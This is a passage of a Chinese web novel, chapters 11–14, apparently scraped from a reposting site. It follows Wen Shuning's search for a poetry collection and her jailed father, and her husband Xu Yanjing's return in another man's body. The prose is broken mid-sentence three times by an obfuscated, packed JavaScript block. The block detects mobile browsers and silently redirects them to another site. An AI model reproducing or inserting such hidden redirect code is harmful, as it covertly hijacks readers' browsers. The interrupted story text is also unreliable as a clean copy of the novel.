她话音刚落,就看见刚才还在柜台数银子的男子此时已经站在了她面前,脸上带着探究,问道:“徐言璟是你何人?” “他是我夫君。” 11. 第 11 章 男子将她上下一打量,忽而笑道:“确实不凑巧,昨夜东家出门后还没回来,小娘子不如先回去,明日再来?” “明日我就能见到你们东家?”如今她住在黎府,出门不易,委实是怕白跑一趟。 男子温和地笑了笑,颔首道:“定能,明日小娘子来,在下好饭好菜招待。” 温书宁抬头看着他,眸中盈盈,把带来的珠宝悉数交到男子手里,“这些先放在你这里,明日还是这个时候,我再来。” 说完转身就走了。 小厮等温书宁的身影彻底消失才对身边的男子弯腰拱手,“东家,您……您为何骗那小娘子?” 容修勾唇,挑眉道:“我骗她了吗?明日她来,我确实在啊。” 您今日也在啊,小厮忍不住腹诽。 容修生的好看,容貌迤逦,丹凤眼,入鬓眉,唇红齿白,说匹敌女子也不为过,掂了掂手中的盒子,“不少啊,对了,明日闭门谢客。” 他眉眼含笑提着袍摆上三楼,转身进了左边尽头的天字号房间,房间四面环风,梁柱在外,外间没有遮挡,能将整个大明王朝的风景尽收眼底,这个房间占据了大半个二楼,是赏风景的好地方。 外间放着两张椅子,其中一张椅子上坐着一个身穿玄衣的男子,容修弯腰倒了两杯茶端过去,“你猜我刚才看见谁了?” 男子没有接话,将茶一饮而尽,他不搭话容修也不恼,坐在旁边的椅子上自顾自说:“一个小娘子,长得那叫一个如花似玉美若天仙,你猜她是谁?” 男子依旧没搭腔,双目直直看着远处的皇城,容修用手肘捅了捅他,“你猜猜看。” “猜对了有奖?”男子这才转过头看他一眼。 “有啊,”容修指了指后面桌子上的盒子,“那两盒珠钗,归你了,你不是说你家里刚给你娶了个夫人吗?不得给人家买些金玉珠钗好好打扮打扮?我瞧那位娘子穿着素净,腰间无坠玉,发间无钗环,想必日子过的拮据。” 说完还故作惋惜地“啧啧”两声。 男子瞥了眼身后的盒子,嗤笑一声:“杀人的时候眼睛都不眨,现在怎么关心起小娘子的穿着打扮了?” 容修早想到他是这样的回答,说道:“那小娘子是来找我的,不过打听的是徐言璟,我问徐言璟是她何人,她说是夫君,这就奇了怪了,这徐言璟病故数月,她怎么找上我了?” 男子面色一怔,眼眸抬起,慌忙站起来拿起了桌上的盒子打开,入目尽是各种昂贵的珠钗,他曾在她的妆奁里见过这些,“她的东西你也要?” 容修见他着急慌张的模样大笑起来,“你误会了,这是她硬塞给我的,说明日还来,你若想见她,明日你俩见一面,将些这还给她便罢了。” “抱歉。”徐言璟合上盖子,深吸一口气,不知道在想什么。 容修走到他身边,“言璟兄,你如今已经回来了,为何不回家去?” 徐言璟正色看他,“虽已凯旋,但父亲还未回城,我这副样子,如何回去?” 容修哑然,无言而出,如今的他,根本算不上是徐言璟。 一个月前…… 徐言璟病故前拉着温书宁的手迟迟不舍松开,直到闭上眼睛,他感觉到自己似乎做了很长的梦,醒来时他便在赌坊被一群人狠狠殴打,浑身上下说不上来的痛,他将那群人暴揍一顿从赌坊逃出来后无处可去,便宿在了半山腰的破庙里,次日睁眼就身处山间猎户人家里。 那猎户夫妇是好人,带他去看了大夫,还开了药回来,见他醒来那猎户娘子端着熬好的药就进来了,“莫乱动,你身上这伤可重着咧,赶紧把药喝咯。” “多谢,”他哑着嗓子道谢,把苦涩的药一饮而尽,“这是何处?” 猎户娘子说:“这是我家里,在城外,我男人入山捕猎,在山神庙捡到你的,哦哟,那时候你浑身烫的嘞,差点就死啦。” 徐言璟将身上所有的银钱拿出来放在桌子上,说道:“不够的话我回去再托人送来,能麻烦您打盆水来吗?” “不麻烦,你等会儿,水在灶上烧着呢。”猎户娘子拿着银子出去烧水。 等到猎户娘子把水端来,他掬了一捧水洗了个脸,忽然看见水中倒影,是一张熟悉又陌生的面庞,他惊慌地伸手扶着水盆边缘,觉得这一定是世界上最荒诞的事情,因为情绪过激胸口剧烈起伏,来不及思考其他,转身拿起桌上的铜镜,镜中的那张脸变得清晰,这张脸他见过。 他……成了徐枕之! 这太荒谬了! 他踉跄着跑出了猎户的家,不顾猎户娘子的挽留一路向城里跑去,走到将军府门口的时候正好看见温书宁从马车上下来,少女穿着单薄素净,脸上带着浅浅的笑进了将军府,他转过身往城西走去,找到了琼楼,在琼楼住了几日,思索明白了当下的状况,便让容修趁夜潜入将军府武库拿来了自己常用的那杆银枪,一枪入云霄,当年他就是凭着这杆长枪一战成名,他的一身武功都是父亲手把手教出来的,别人或许认不出来,但父亲一定认得出他。 等他日回京,定要向阿水表明身份和这荒谬的来龙去脉。 “你当真要去?”容修问他。 “要去!” “罢了,你且去吧,有任何事情飞鸽传书与我便可。” 徐言璟擦着长枪,说道:“确有一事,我房中书架最下面一格有一本诗集,你若有空,替我取来。” “什么?”容修皱眉,“什么诗集?你什么时候爱看诗集了?再说了,等你凯旋归来多少诗集拿不到?何须我当下去做贼。” 徐言璟十分无奈地摇摇头,“我现在可不是徐言璟,我若是去拿我二哥的东西,岂不是平白遭打?” “你这……说什么呢?什么你二哥?”容修不知道该说什么,只能答应,“行,我若是寻到了机会,就替你去把那诗集偷来。” 穿堂风轻轻缓缓,容修见他抱着盒子发呆,半天没说话,“啧”了一声:“不是,你到底见是不见?” “见。” - 次日温书宁按照前一天的时间来到了琼楼门口,只是今日没有进出的客人和唱跳的舞姬,连大门也紧闭着,她站了一会儿,深觉自己可能被那个收账的先生给耍了,正欲转身离开就听见楼上有人说话,她抬头看去,只见昨日的那个收账先生站在窗边,手肘撑在窗框上,眼睫下垂看着她,“小娘子来的好早,我才起。” 温书宁这才将视线从那张雌雄莫辨的脸上移到他的身上,他穿着里衣,就披了件外衣,“那你——” “无妨,”容修偏头朝后看去,对小厮说道:“去给这位小娘子开门。” 很快大门便打开了,她再抬头,窗户那里已经没人了。 徐言璟拉开门,站在一边,头始终低着,“小娘子请随我来。” “多谢。”温书宁道了谢,看着他重新把门关上,带着自己往三楼走去。 容修已经穿戴齐整坐在椅子里,她由小厮的指引坐在了他旁边的椅子上,还没开口就听见容修问:“小娘子找我所为何事?” “你就是容修?”温书宁问。 “不像吗?如假包换。”容修摊开手。 “可你不是收账先生吗?” “也可以是琼楼的东家。” 温书宁坐下,将他来回打量,斟酌道:“是这样的,我听人说你与我夫君徐言璟是好友。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908866|192435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “是。”容修看着她,嘴角扬起点点头。 “那你可曾在他那里见过一本诗集?大概是这个大小,封上画着一棵柿子树,前几日我回家发现家里进了贼将那本诗集偷走了,你能不能帮我找回来?”温书宁一边说一边观察他的神色,见他面色如常,没有任何变动,不禁怀疑是不是自己猜错了,难道诗集不是他偷的? 容修笑了笑:“我虽跟言璟兄是兄弟,但他连成婚这么大的事情都没跟我说,我又从哪儿知道他是否有这么一本诗集,不过小娘子既然托我找,那你可知道雇我做事需要多少钱吗?” 温书宁低头,右手转动手腕上的玉镯,她现在真的再拿不出来更多的钱了,昨天那些几乎是她全部的首饰,只剩这只玉镯,“我,我不杀人。” “一样的价,当然了,我敢开这个口就一定能找到,找不到会以本金的十倍赔偿。”容修好笑地看向她身后,徐言璟冷着脸站在那里,四目相撞,他话到嘴边转了个弯:“不过呢,可以打欠条,只要小娘子签字画押,后续的钱慢慢还,如何?” 当然好。 温书宁没有异议,欣然同意,容修挥手让徐言璟去拿来纸笔,写好了欠条之后递给她签字按了手印。 “既然小娘子打了这欠条,那昨日给我的那些珠钗首饰就带回去吧。” 温书宁看向旁边桌台上的木盒,将木盒拿走,从琼楼出来的时候天已经完全亮了,她迎着初升的朝阳往人声鼎沸的朱雀街走远。 徐言璟摘下小厮的帽子,露出俊朗的脸,坐在桌边把她没有喝完的茶一饮而尽,容修见状笑了,躺在椅子上,问道:“给我吧。” “什么?” “那本诗集啊,不是我说,你拿人家的东西干什么?”容修看着他,“我都没收她的钱,这笔买卖我可亏着了,你赶紧给我。” 徐言璟睨了他一眼,从怀中拿出那本诗集,说道:“这是我的,不能给她,你找个人将里面的内容誊写下来。” 容修拿着诗集翻看,“给本假的不合适吧?这不是毁我琼楼的招牌吗?” “毁不毁的,得看你找的人怎么样。”徐言璟双手枕在脑后,阳光落在他身上,在地面映照出清晰的影子。 阿水,我回来了。 - 温书宁刚回到院子还没来得及喝口茶就听见时夫人着急忙慌地往里屋走,脚步慌乱,平日里的端庄都顾不得。 “宁宁!” 她放下茶盏,站起来走到门口,刚好在时夫人被门槛绊倒前扶住了她,“主母这般匆忙,发生了什么事?” 时夫人被她扶着坐在凳子上,脸色十分焦急,“宁宁,你父亲被下诏狱了!你快想想办法,救救你父亲啊!” 温书宁的心脏猛地一颤,怔愣着不知道该说什么,好一会儿才问:“为何?” “因为宋钰,也是作孽,那天那么晚了他还非要出去,也怪我没拦着他,谁知道那宋钰就这么死了?”时夫人拿着帕子按了按眼角,“宋钰的死你父亲本就有嫌疑,陛下不计较,让他查清宋钰死的真相洗清嫌疑,谁曾想这时候陆禹又死了,他可是太后的亲信啊,陛下大怒,把你父亲下了狱,可怎么办啊?” 她说着说着又哭了,原本明亮的双眼因为哭得太久变得红肿。 温书宁这段时间没少了解京城各大世家和皇室,陆禹不过是太后妹妹的女儿收养的罢了,算哪门子亲信,只怕是陆家族谱都没有这号人,不过不管有还是没有,都不能草草了事,如今连死两人,陛下只是将父亲下狱,没有革职就算是好的了,只是若宋钰和陆禹的死没有查清楚,父亲可能真的要玩完了。 她还没有查清母亲去世的真相,父亲可不能死! 12. 第 12 章 她握着时夫人的手,问道:“现在这件事是谁在查?” “陛下全权交给大理寺了,”时夫人说着抓住她的衣袖,哭得十分伤心,“你父亲在诏狱,那锦衣卫的指挥使是个冷心冷血的人,指不定会对你父亲用刑,宁儿,你可一定要救你父亲出来啊。” 温书宁承着她的身体靠过来的重量,不住地安慰她,如今只有先见父亲一面才行,思索了一瞬,说道:“夫人放心,我进宫请贵妃娘娘允我见父亲一面。” 时夫人早知道她很得贵妃喜欢,连连点头,“好好,你快去,快去!” 温书宁出门时是晌午,太阳正大的时候,她连早饭都没来得及吃,现下到了晌午更是一点吃食都没进肚,长盈忙不迭从厨房打包了一笼包子,“夫人真小气,偌大的府邸,厨房竟然就剩下包子了,连粥都没有。” 她愤愤不平,皱着眉扶温书宁上车,马车上温书宁吃着包子,腮边鼓鼓的,说话略显艰难:“别生气,等回来了我请你去春满楼吃饭。” 长盈哼哼两声这才作罢。 嘉贵妃没想到她会来,不过这些天也听说了黎朝的事情,看着跪在地上的少女,“你来找本宫就是为了见你父亲?” “是。” “你可知陛下正在气头上?你这个时候去诏狱看你父亲,若是被发现了,让本宫作何解释?” 温书宁低着头,声音闷闷的,“娘娘想要我帮二殿下,可娘娘也说过会助我找到杀害母亲的真凶,娘娘觉得父亲有嫌疑,可父亲若是被关在诏狱冤死了,母亲的事情就查不清楚了。” 嘉贵妃岂会没听出来她话里的意味,正色道:“你在威胁本宫?” “臣女不敢。” “本宫觉得你敢,罢了,全当看在璟儿的面儿上,本宫帮你这一回。” 嘉贵妃挥退伺候的宫人,抿抿唇说道:“起来吧,今日酉时本宫会着人带你去诏狱,切记不要被发现了。” 温书宁一怔,忙磕头道谢,“谢贵妃娘娘。” “行了,起来吧。” - 六月天,温书宁手心直冒着冷汗,薄衫贴着肌肤,慢吞吞地走在宫道上,她虽然从小跳脱爱玩,但也胆小,刚才跟嘉贵妃说的话没过脑子就说出来了,现在想想还真是后怕,不过还得多谢现在这个身份,做事情都方便了不少,走到宫门口看见长盈才放松下来。 长盈小跑着过来扶着她,碰到她的手,“少夫人的手怎么这么凉啊?贵妃娘娘没答应吗?” 她摇摇头,扶着马车进了车内,“答应了,但是我说了不该说的话,害怕。” 长盈噗嗤笑出声:“贵妃娘娘其实就是看起来吓人,但是对我们都可好了,你是二公子的夫人,贵妃娘娘肯定很喜欢你的。” 温书宁抿抿唇,不敢苟同,说道:“走吧,去春满楼吃饭。” 春满楼位居朱雀东街中间,地段是最好的,不论是进京的商人还是达官显贵只要吃饭几乎都会来春满楼,以至于春满楼的进账也不少,这些钱温书宁一直留着,想着日后她若真的拿着和离书离开了这些钱就都给赵夫人。 长盈随着嘉贵妃入宫前没有来过这里,也就不知道这里的老板是谁,稀奇地观看着房间的陈设和装潢,“少夫人,在这里吃一顿饭很贵吧?” 温书宁撑着下巴望着她笑,“放心吃,一顿饭钱我还是付得起。” “少夫人真好。”长盈笑嘻嘻说着,听见街道传来欢呼声,侧身探头看向窗外,惊呼了一声:“是将军回来了!少夫人,将军回来了!” 今日徐将军凯旋,自凉州而归,赢了胜仗,百姓们夹道相迎,热闹的不行,为首的便是徐将军,身穿铠甲,坐于黑马之上,眼神犀利,面色冷峻,微皱着眉,嘴唇紧抿,全然一副威武武将的模样。 温书宁同她一样朝着街上的热闹望去,目光落在徐将军身上一瞬便被他身后的男子吸引,对方穿着一身银色盔甲,随着马儿走路的颠簸,束起的马尾左右摇晃,眼尾上扬,唇角勾起,一脸张扬肆意的笑,温书宁有一瞬间的恍惚,好像自己在什么地方见过这样的笑,但是思索许久也想不起来。 男子忽然抬头,她的视线来不及收回,措不及防地四目相对,温书宁怔住,回过神立刻移开了视线,岂料男子见她这副样子笑得更开心了。 徐将军侧眸,“稍后进宫面圣,收起你那副吊儿郎当的样子。” 徐言璟正了神色,“知道了。” 温书宁看着桌上的菜没什么胃口,只看着长盈吃,还给她倒了杯水,“慢点吃,不着急。” 刚才那男子一闪而过的脸庞让她想到了好几年前见到的一个人,那时候她才十三岁,跟随母亲回外祖老家祭祀,那时候秦南一带并不太平,动荡了七八年才得以缓息,出门前母亲特意叮嘱她见到人一定要低头,切莫好奇打量,但她总是当面乖顺答应,背后叛逆胡来,回祖宅的一路上都有许多大大小小的军队,多的上百人,少的十几人,有一支军队她记得异常清楚,为首的是一名少年,穿着银色雕花铠甲,手里握着一杆长枪,她估摸着那杆枪都比他要高了,少年坐在马背上,看见她时也低下了头,脸上的笑比落在他身上的阳光还要绚烂。 她看的入迷,脚下的步子都不禁慢了几分,母亲瞧见连忙拉着她往前走,“又忘了是吧?把娘说的话当耳旁风。” “他是谁啊?”她好奇问到。 “他呀,是守护秦南边境的小将军。” “他那的父亲是不是也很厉害?” 温韵点点头,“是啊。” 温家的老宅很大,也很破旧,墙脚出生出了顽强的野草和粘腻的苔藓,台阶上是枯死的落叶,两边镇宅的石狮子斑驳不堪,温韵推开那扇沉重的木门,微风吹过,卷起了地上的叶子和她的裙角。 回想曾经温宅也是秦南一带的大户人家,书香门第,没曾想如今落得如此萧条。 “阿水,快进来。” 她走上台阶,蹦蹦跳跳地进了宅子,跟着母亲绕到后院的祠堂,四方天井之下是一个人工打造的池子,池子里的水浑黑,飘着爬满青苔的树叶,她看着母亲拿着帕子将供台和牌位一个个擦干净,她静静站在那里,不敢说话,因为母亲在哭。 她们在祖宅住了小半个月,母亲每天都会打扫卫生,累了就坐在台阶上看着院子和天空,然后抱着她讲许多小时候的事情,听了很多,她知道母亲小时候也是个不听话的小孩,总是跟着邻居家的哥哥上树掏鸟窝,下河捉鱼,经常被外婆捉到好一顿训。 从秦南回扬州的路上她又看见了来时的那个少年,只是不同初见,现在的他浑身是伤,大半张脸都被血迹覆盖,身上的衣服有些破烂,铠甲不知所踪,就这样奄奄一息地躺在草丛里。 “母亲,是他。”她扯了扯温韵的衣角,指着草丛里的人。 温韵停住脚步看过去,见状吓得脸色都白了几分,伤成这样躺在这里,那这附近肯定不安全,她抱着温书宁就要走,却被喊住,“母亲,带上他一起回去吧,要不然他会死在这里的,。” “阿水乖,带上他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908867|192435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我们的脚程就慢了,他不会死的。”温韵摸了摸她的头。 温书宁依旧站在原地没有动,“可是母亲不是说他是守护秦南边境的小将军?他守护了秦南的百姓,我们可以见死不救吗?” 温韵愣了一瞬,叹了口气说道:“那你在这里等娘,哪里也不要去,如果有人来了你就躲在那棵大树后面,保护别人没错,但前提是先保护好自己,知道吗?” 温书宁蹲在少年身边,重重点头,“母亲放心。” 少年意识混沌,迷蒙间睁开眼把温书宁吓的浑身一激灵,血迹染红了他的眼睛,他声音沙哑:“你怎么在这里?” 温书宁看着他,这里的杂草长到了小腿肚这么高,周围是一片树林,正好遮挡住了她,但是杂草划拉着她的手臂,很痒也很痛,“我跟母亲回老宅祭祖,今天离开,在路上看见你了,你放心,母亲肯定会救你的。” 少年挣扎着要起身,温书宁赶紧扶着他,谁知他眼睛一翻晕死过去。 温书宁:…… 温韵回来的时候推来了一辆木板车,“阿水,把他拖上来。” 温书宁跟温韵一起把他拖上了木板车,太阳落山,夕阳的余晖落下,两道人影被拉长,越走越远。 - 从春满楼出来的时候已经到了吃晚饭的时间,如今黎朝不在府中,时夫人也就没特意命人准备晚饭,自己在院子里简单吃过就睡下了,温书宁并不在意,霜怜听长盈说她一天没吃饭,赶紧去小厨房准备了银耳羹,温书宁吃了两碗,稍作休息就换了衣裳准备等嘉贵妃的人来。 酉时三刻,嘉贵妃的人准时到达黎府后院,敲响了墙面,长盈从外面进来,“少夫人,贵妃娘娘的人来了。” “好,你们在家等我,我去去就回。”温书宁从后门出去上了马车,黎府距离诏狱有一段路程,她坐在马车里,思索着等会儿见到黎朝该说些什么。 马车停在诏狱门口,嘉贵妃的人扶着她下马车,从怀里拿出一块令牌给狱卒看,狱卒拱手打开了门,“少夫人只有一炷香的时间,一炷香之后无论如何也要出来。” 她朝对方点点头,“好,多谢。” 嘉贵妃的人在外面等着她,诏狱的通道不是很宽敞,空气重弥漫着浓厚的血腥气,墙壁上的油灯明明灭灭照着溅在上面的血迹,她提着裙子小心往里走着,在最里面的一间牢房里看见了黎朝,他瘦了很多,穿着宽松的麻衣,窝在墙角的草堆上,发髻散乱的像鸡窝。 “父亲。”她的声音很轻,在寂静的牢狱里显得格外清晰。 黎朝睁开眼,立刻从草堆站起来走到门口,激动道:“你是来接父亲出去的吗?” 温书宁看着他,这才两天,怎么胡子拉碴了?不过好在身上没有伤。 “陛下已经把这件事全权交由大理寺了,据我所知,父亲与裴寺卿的关系并不好。” 黎朝皱眉,十分不悦地说:“他个老匹夫,顽固不堪!不过你查我与他的关系干什么?” “因为您是我的父亲所以我才要弄清楚你们之间的关系,如果人真的不是您杀的,我一定会还您清白,让您平安从这诏狱走出去。”她的声音铿锵有力,字句清晰。 黎朝见她这样竟想到了刚从扬州将她接回来时的模样,好一会儿才说:“你有办法?你能有什么办法,这样,你听爹的,去御史台找张大人,你把这个给他,他定会想法子查明案情还我清白。” 温书宁捏着字条,回去之后看都没看放在烛台上烧掉了,字迹随着纸张灰飞烟灭。 13. 第 13 章 六月酷暑渐远,月底竟然下了一场雨,雨点淅淅沥沥落在房顶的黑瓦上,雨霖铃被击打发出悦耳的脆响,她在黎府住了半个月,关于父亲是否逼迫母亲服毒的证据未曾找到,但也不得不回将军府了,嫁出去的女儿回娘家住久了是要落人闲话的。 次日赵夫人便派遣了马车来接她,清早雨势小了些,后院的青石板小路的坑洼里积满了水,边上的小草挂着露珠,不多时就打湿了她的裙摆。 霜怜扶着她,“雨天路滑,少夫人小心。” 温书宁提着裙子,扶着霜怜小心走着,她要离开须得向时夫人辞行,去往前堂的时候时夫人正等着她,见她要走了,牵着她的手好一顿寒暄不舍,将人送到了门口,望着上了马车才转身回府。 即便是下雨朱雀街也依旧热闹,温书宁关了窗子,从袖袋里拿出从父亲书房里拿出来的案卷仔细看了起来。 霜怜和长盈一左一右坐在她两边,见状皆是一愣,霜怜说:“少夫人怎得将这东西拿出来了?要是被黎大人知晓,该罚少夫人了。” 这段时间她们在黎府也是眼明心净,黎大人并不喜欢少夫人。 “怎么了?”温书宁翻了一页,说道:“她要我救出父亲,那我总要知道他们是怎么死的,父亲到底有没有杀人才行吧?不然我怎么救?” “少夫人何必这般上心?案子由大理寺接手探查,再不济还有督察院,他们总会还黎大人清白的。” 是啊,这个案子盯着的人很多,有的人是为了黎朝的官位,他若是被罢了官,必定有人要上位,有的人则是纯粹看热闹。 “糯米糍粑——香甜软糯的糯米糍粑——” “青梅酒——卖青梅酒咯——” 街上的叫卖声让温书宁回过神来,抬起头看着随风而动的车帘,长盈一眼便看出来了,对着外面的车夫喊道:“停车!” “少夫人稍等,早就听说这糯米糍粑配上青梅酒那叫一个好吃好喝。”说罢便拿上伞下了马车。 温书宁朝她莞尔一笑,将手里的案卷放回袖袋里,端正坐着等待长盈回来。 劈里啪啦的雨点落在车顶上,长盈很快便去而复返,弓着身子躲进马车里,将手里的东西放在小桌上然后收伞,抖了抖裙摆上的雨水,“少夫人快趁热尝尝。” 霜怜将油纸包打开,香喷喷的糯米糍粑还冒着热气儿,温书宁看着,她很少吃,母亲总说甜食吃多了坏牙,但她总是馋,所以没少背着母亲吃,她尝了一个,裹着黄豆粉的糍粑甜甜的,有些黏牙,霜怜用茶盏倒了一小杯青梅酒递给她。 “小心噎着。” 温书宁喝了青梅酒,酸甜的味道在口腔蔓延,她笑了笑:“不噎,这个酒酸酸的。” 霜怜和长盈随着她一起笑,说喜欢的话下次还来买。 马车停在将军府门口,车夫拿来脚凳,霜怜扶着温书宁下马车,还未进门就听见里面传来了吵嚷声,十分热闹,她刚踏进门就有婆子看见她,问了好之后就去了前堂知会老夫人和赵夫人了。 出门这么久,温书宁得先去见过老夫人,于是穿过连廊走到老夫人的燕拂堂,此时堂中不少人,她别过人群走到老夫人面前,恭敬福了福身:“孙媳书宁问老夫人安。” 老夫人看向她,孙子娶妻的时候她只露面了一会儿,后面便也没再见过,想着是冲喜来的,便免了她的晨昏定省,上回秦夫人流产时匆忙见过,印象却不深,本想好好瞧瞧人儿,没曾想病倒了,如今病好了,也是正经瞧着孙媳。 长相水灵,不施妆面显得素净,举止也甚是得体,她们家娶妻看重家世背景,却也重人品学识,虽是庶女,嫁进来冲喜也着实委屈她了。 老夫人朝她招手,温书宁走过去,蹲在老夫人身边。 “好姑娘,不错不错。”老夫人笑着,说罢转头看向赵夫人,叮嘱道:“衣食住行切莫委屈了,得仔细着。” 站在一旁的赵夫人点头:“母亲放心。” 她说完就挽着温书宁的胳膊站起走到徐大爷面前,说道:“他是爹爹,你嫁进来时他在凉州,前些日刚回京。” “儿媳问父亲安。” 徐大爷是武将,身材魁梧,面相凶悍,说话声音洪亮,有种不怒自威的气势,为了不吓到闺阁小姐,声音轻了几分,“好,陛下赏赐了许多东西,等会儿你去库房挑些喜欢的拿去。” 温书宁怔愣在原地,脸上的表情有些木,赵夫人见状忙说:“你父亲是个武夫粗人,不会说话,你别怕。” 她自是不怕的,只是瞧见了徐大爷腰间的穗子,与当初她和母亲救下的那个人腰间坠的是同样的平安穗,怔愣中回过神,一一问候过燕拂堂在座的长辈便落座在赵夫人身边。 不知在等什么,但大家都兴致勃勃,在期待什么,温书宁也跟着好奇了起来,约莫过了半个时辰,守在门口的小厮欢喜地跑进来,脚踩在水坑里溅起的水花打湿了裤脚都不在意,跑到堂中伏跪下来,说道:“小公子回来啦,小公子回来啦!” 老夫人高兴地站了起来,“快!快去接!” 徐二爷和秦夫人率先撑着伞走了出去,其余人站在檐下朝门口观望,温书宁有些不明所以,赵夫人看了她一眼,说道:“秦夫人的孩子回来了,还同你父亲在凉州打了胜仗,陛下今早就传召进宫,估摸着是要配官职了。” 秦夫人的孩子…… 温书宁心下了然,徐言璟还在世时曾跟他说起过这个人,秦夫人都不知他的去处,没想到竟跟父亲在凉州,靠军功给自己挣了官职。 只是当初给他还债的银钱是不是可以要回来了?毕竟秦夫人说他早就不见了,她可是奔着他死了才给他还债的,如今他没死,这些钱要是不要回来,岂不亏死? 不一会儿徐二爷和秦夫人便领着一个二十出头的男子来了燕拂堂,温书宁看见他的脸时怔住了,这不就是前几日随父亲过街进宫的那个人吗? 男子跪地朝老夫人磕头,声音沉稳缓慢,“孙儿引秋问祖母安。” 老夫人泪眼盈盈地扶着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908868|192435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他起来,“好孩子,苦了你了,快起来吧。” 徐言璟站起身,徐二爷急忙问道:“陛下许的是何官职?” “任命大理寺少卿之职。” 在场的人都叫好,除了魏夫人,她坐在椅子里从未起身过,不咸不淡地喝着茶。 如今将军府还是老夫人当家,赵夫人偶尔帮衬,所以两房的人没有分家,徐枕之年纪最小,秦夫人以平妻的身份嫁进来,他现在回来了,当是将军府小公子。 他忽然看向温书宁的方向,一双眼睛看着她,眼里的平淡缓和了些,“这位就是嫂嫂吧?” 温书宁微笑着点头回应。 “引秋见过嫂嫂。”他微微弯腰低头,嘴角却漾起浅笑。 “不必客气。”温书宁看着他,总觉得他这副神情似曾相识,却又想不出来。 老夫人拄着拐说道:“好了好了,该用饭了。” 晌午,雨也停了,燕拂堂的厨房已经准备好了饭菜,只等老夫人发话,便将饭菜端了上来,众人围坐,好巧不巧温书宁就坐在了徐言璟身边,两人衣料摩擦,发出细微的声音,并没人在意。 徐大爷问他:“陛下可指派了事情?” 徐二爷忙接话:“是啊是啊。” 徐言璟点头,说:“今日得了任命后陛下便让我去大理寺走一趟,裴寺卿把近日的案卷指与我看了,说当下棘手的便是宋钰和锦衣卫指挥佥事陆禹的案子,裴寺卿让我明日上任着手此案。” 随着话音落下的还有温书宁手里的汤匙,溅出来的汤水落在她手背,白皙的肌肤瞬间被烫红一片,众人朝她看去,她有些无地自容,恨不得有个地洞能让她钻进去。 她还没开口说话身边的赵夫人便问道:“怎么了?” 她小声道:“太烫了,没拿稳。” 这是她第一次跟这么多人在一张桌子上吃饭,说不紧张是假的,心里牢牢记着母亲说的话,却还是防不住被他的这番话给吓得手抖。 她现在还不清楚这个小公子的性情如何,也不知父亲的案子落在他手上是好事还是坏事。 “嫂嫂小心些。”她正愣着,视线里出现了一张浅灰色的绢帕,角落绣着一簇杏花。 她眨了眨眼,伸手接过那方帕子捂住被烫红的手,桌上重新恢复笑语,一餐饭吃的其乐融融,老夫人吃完饭有午睡的习惯,众人都回了各自的院落。 温书宁往玉兰居走着,突然想到什么,转身小跑几步追上徐言璟,叫住他,“引秋,等等。” 徐言璟停住脚步,转身看着她,“嫂嫂有事?” “这个还给你。”温书宁将绢帕递过去,总觉得他喊嫂嫂的时候这两个字咬的有些重,但是又听不出多大区别。 徐言璟伸手接过,视线落在她烫红的手上,说道:“药房有烫伤药,等会儿我托人送来。” “多谢,”温书宁顿了片刻问道:“不知你何名,能否告知?” 徐言璟笑了一声:“嫂嫂随父亲母亲叫我引秋便好。” 14. 第 14 章 温书宁望着他,心里咂摸着“引秋”这两个字,片刻笑笑应了声好,回到玉兰居,刚坐下歇会儿喝了盏茶就见门房前的婆子怀里揣着什么步履匆匆往这边赶,穿过连廊和四方门看见玉兰居的院牌才缓下脚步继续往里走,瞧见坐在窗下的温书宁忙将东西递上去。 “少夫人,今儿早我出门瞧见的,不知是谁放在侧门角落的台阶上,还带了信条。” 霜怜接过,看着婆子问道:“你没偷看吧?” “没有没有,我哪有这个胆子敢偷瞧主人家的东西啊。”婆子憨笑说着低下头去。 温书宁接过递来的东西,是用一方宽麻布帕子包着的,她眼色示意霜怜,那婆子得了银子欢喜地跑了。 “可是那诗集?”霜怜问。 “你怎知?”温书宁笑着,手上的动作不曾慢,打开一瞧,果然是她要找的诗集。 这诗集她幼时常见母亲拿在手中阅读,后来却不知所踪,初入徐府的时候在徐言璟的书案上瞧见,一时没想起来,后来得了闲,无事时就回想过往,方才想起来,如今得了回来便将它好生收进抽屉里。 长盈在小厨房准备的酥点也好了,前几日长盈就说等回到将军府要做拿手的酥点,这会儿已经满院子飘香。 房中微风掠过,吹起隔断的纱帘和飘在空中的香炉青烟,温书宁看着桌上的酥点,实在是没什么胃口,午时大家在桌上吃饭,聊到了引秋的官职和现下着手的事宜,她现在便是在想,若是叫他知晓她在暗查父亲的事情,那他会不会告诉父亲母亲?再过几日就要去宫中任职了,这件事情还没有来得及跟母亲知会,也不知该如何开口。 “少夫人为何忧心忡忡?”长盈搬来小凳坐在她腿边为她捏腿。 “我想……若是叫母亲知道我要进宫,会不会不高兴?”她看向长盈。 